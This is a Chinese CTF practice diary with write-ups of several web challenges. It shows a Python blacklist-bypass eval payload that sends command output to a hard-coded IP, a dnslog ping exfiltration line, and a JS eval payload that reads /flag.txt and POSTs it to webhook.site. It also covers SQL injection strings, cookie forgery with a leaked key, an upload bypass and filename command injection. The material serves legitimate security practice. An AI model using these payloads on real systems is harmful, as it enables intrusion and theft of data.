5.3
D^3CTF复现,D^3开始那晚看了下题,java,go没有思路就跑路了,后面才知道上了些其他题,貌似比第一轮的简单,趁着环境没关,复现一下
Escape Plan
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| import base64 from flask import Flask, request
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST']) def challenge_3(): cmd = request.form.get("cmd", "") if not cmd: return """<pre> import requests, base64 exp = '' requests.post("", data={"cmd": base64.b64encode(exp.encode())}).text </pre> """ try: cmd = base64.b64decode(cmd).decode() except Exception: return "bad base64"
black_char = [ "'", '"', '.', ',', ' ', '+', '__', 'exec', 'eval', 'str', 'import', 'except', 'if', 'for', 'while', 'pass', 'with', 'assert', 'break', 'class', 'raise', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ] for char in black_char: if char in cmd: return f'failed: `{char}`'
msg = "success" try: eval(cmd) except Exception: msg = "error"
return msg
|
考点:python的代码执行,思路不难,但是传进去的参数存在黑名单过滤,需绕过,这点比较麻烦
要执行的代码:
1 2 3 4 5 6 7 8 9
| import socket, os flag = os.popen("whoami").read().encode() print(flag) host = "120.48.123.181" port=7777 s =socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.sendall(flag) s.close()
|
本地测试执行的是whoami,靶机直接改为/readflag
即可
接下来就是绕过过滤:
方法参考这篇文章,Python 沙箱逃逸的通解探索之路 | CN-SEC 中文网。其中eval被过滤了,可以用ᵉval
绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| 本地测试demo: import base64 u = '𝟢𝟣𝟤𝟥𝟦𝟧𝟨𝟩𝟪𝟫' cmd1='X19pbXBvcnRfXygnb3MnKS5wb3Blbignd2hvYW1pJykucmVhZCgp='
CMD = "ᵉval(vars(ᵉval(list(dict(_a_aiamapaoarata_a_=()))[len([])][::len(list(dict(aa=()))[len([])])])(list(dict(b_i_n_a_s_c_i_i_=()))[len([])][::len(list(dict(aa=()))[len([])])]))[list(dict(a_2_b1_1b_a_s_e_6_4=()))[len([])][::len(list(dict(aa=()))[len([])])]](list(dict({}()))[len([])]))".format(cmd1) CMD = CMD.translate({ord(str(i)): u[i] for i in range(10)}) cmd=base64.b64encode(CMD.encode()) try: cmd = base64.b64decode(cmd).decode() except Exception: print("bad base64") black_char = [ "'", '"', '.', ',', ' ', '+', '__', 'exec', 'eval', 'str', 'import', 'except', 'if', 'for', 'while', 'pass', 'with', 'assert', 'break', 'class', 'raise', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ] for char in black_char: if char in cmd: print(f'failed: `{char}`') try: print(eval(cmd)) except Exception: msg = "error"
|
way2:
https://fq6p9pyo5tt.feishu.cn/docx/InUFdQUKdozf8yx5IhGcf5zInSe
利用dnslog,执行命令
1 2
| ping -c 1 `whoami`.mmfudk.dnslog.cn __import__('os').popen('ping -c 1 `whoami`.mmfudk.dnslog.cn')
|
- 禁用字母,使用全角符号绕过
- 禁用数字,使用
len(black_list)
len([])
拿到
repr(request)
拿到字符串,再使用数组切片进行截取
###TAMUctf 2023-Blackbox
比赛的时候没做出来,伪造cookie一直没成功,来复现一下
做的时候直接发现存在文件包含,但没有发现还存在git泄露。因此还有amin.php和login.php这个俩个文件没读出来,关键的数据库文件也没弄出来,当时就是一直找不到key,无法伪造。把git泄露给忘了,没去试
找到key,关键!!!!
1
| echo hash('md5', 'JYOFGX6w5ylmYXyHuMM2Rm7neHXLrBd2V0f5No3NlP8'.'eyJ1c2VybmFtZSI6ImFkbWluIiwidXNlcl9rZXkiOiIyNmNlYjY4NWY0NmU2ZDIyIiwiYWRtaW4iOnRydWV9');
|
1
| eyJ1c2VybmFtZSI6ImFkbWluIiwidXNlcl9rZXkiOiIyNmNlYjY4NWY0NmU2ZDIyIiwiYWRtaW4iOnRydWV9.d2ec4eaeee55b446bcd7ce38c4de754f
|
5.4
复现下taum中没有看的题
###taum203-migraine
题目给出源码,是一个js的代码审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| const path = require('path'); const express = require("express"); const app = express(); const port = 8000;
app.use(express.json()); process.on('uncaughtException', (err, origin) => { console.log(err); });
app.get("/", function (req, res) { res.sendFile(path.join(__dirname+'/static/index.html')); });
app.post("/", function (req, res) { var src = req.body['src'];
if (src.match(/[A-Za-z0-9]/) != null) { res.status(418).end('Bad character detected.'); return; }
try { eval(src); } catch(err) { res.status(418).end('Error on eval.'); return; }
res.status(200).send('Success!'); return; });
app.listen(port, function () { console.log(`Example app listening on port ${port}!`); });
|
一个js的代码执行,ban了数字和字母。但是js是可以直接执行jsfuck的,将我们需要的代码转换为jsfuck执行,
1 2
| process.mainModule.require('http').request({hostname: 'webhook.site',path: '/6a551568-cf4e-4cb8-a4ec-47b7c5073f9c',method: 'POST',headers: {'Content-Type': 'application/x-www-form-urlencoded','Content-Length': process.mainModule.require('fs').readFileSync('/flag.txt').toString().length}}).write(process.mainModule.require('fs').readFileSync('/flag.txt').toString())
|
###TAUM2023-Lost and Forgotten
测了半天,没发现考的啥,看样子还以为是某个cve。看了wp才发现是个sql,做的时候根本没往sql这方面想
测试出来不能用order by 6
,会报502,只能挨个测试
1
| t' union select table_name,2,3,4,5,6 from information_schema.tables# //这里能查到很多表名,根据提示wp在文章中,所以去articles中找
|
1
| t' union select column_name,2,3,4,5,6 from information_schema.columns where table_name ='articles'#
|
不知道flag在哪一个,就都查了
1
| query=t' union select access_code,artloc,imgloc,descr,postdate,title from articles#
|
5.5
今天事比较多,就搞了一题,buu随便找的,签到题,练练手吧,不能断!!!
###[WUSTCTF2020]CV Maker
注册登录进去后是一个比较显眼的上传点
测试上传1.php,
该函数会检测文件类型,加文件幻术头即可绕过
5.6
d3没打,来复现d3中的题目
d3cloud
admin/admin进入后台。
存在laravel-admin-extensions/media-manager
插件,改插件中
发下存在插件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| public function putFileAs($path, $file, $name, $options = []) { $supported_file = array('gif','jpg','jpeg','png','ico','zip','mp4','mp3','mkv','avi','txt'); $file_type= strtolower(pathinfo($name,PATHINFO_EXTENSION)); if (!in_array($file_type, $supported_file)) { return false; } $stream = fopen($file->getRealPath(), 'r+'); $result = $this->put( $path = trim($path.'/'.$name, '/'), $stream, $options ); if (is_resource($stream)) { fclose($stream); } if($file->getClientOriginalExtension() === "zip") { $fs = popen("unzip -oq ". $this->driver->getAdapter()->getPathPrefix() . $name ." -d " . $this->driver->getAdapter()->getPathPrefix(),"w"); pclose($fs); } return $result ? $path : false; }
|
其中popen这存在命令注入,将文件名拼接再执行的命令里,可以通过闭合拼接的方式来进行注入,从而执行命令
1
| $fs = popen("unzip -oq ". $this->driver->getAdapter()->getPathPrefix() . $name ." -d " . $this->driver->getAdapter()->getPathPrefix(),"w");
|
###ISCC实战题
没结束就不放出来了
实习二面笔试题
这里也不方便放出,目前拿到root权限,明早继续,冲内网
5.7
继续笔试题,暂时不放出wp
。。。。。
后面遇到很多事情,自己还有许多东西要搞,没时间每天抽时间刷题(主要是不想刷水题,难题又很花时间),就取消了这个这个刷题计划。后续ctf方面就参加每次的比赛来练习一下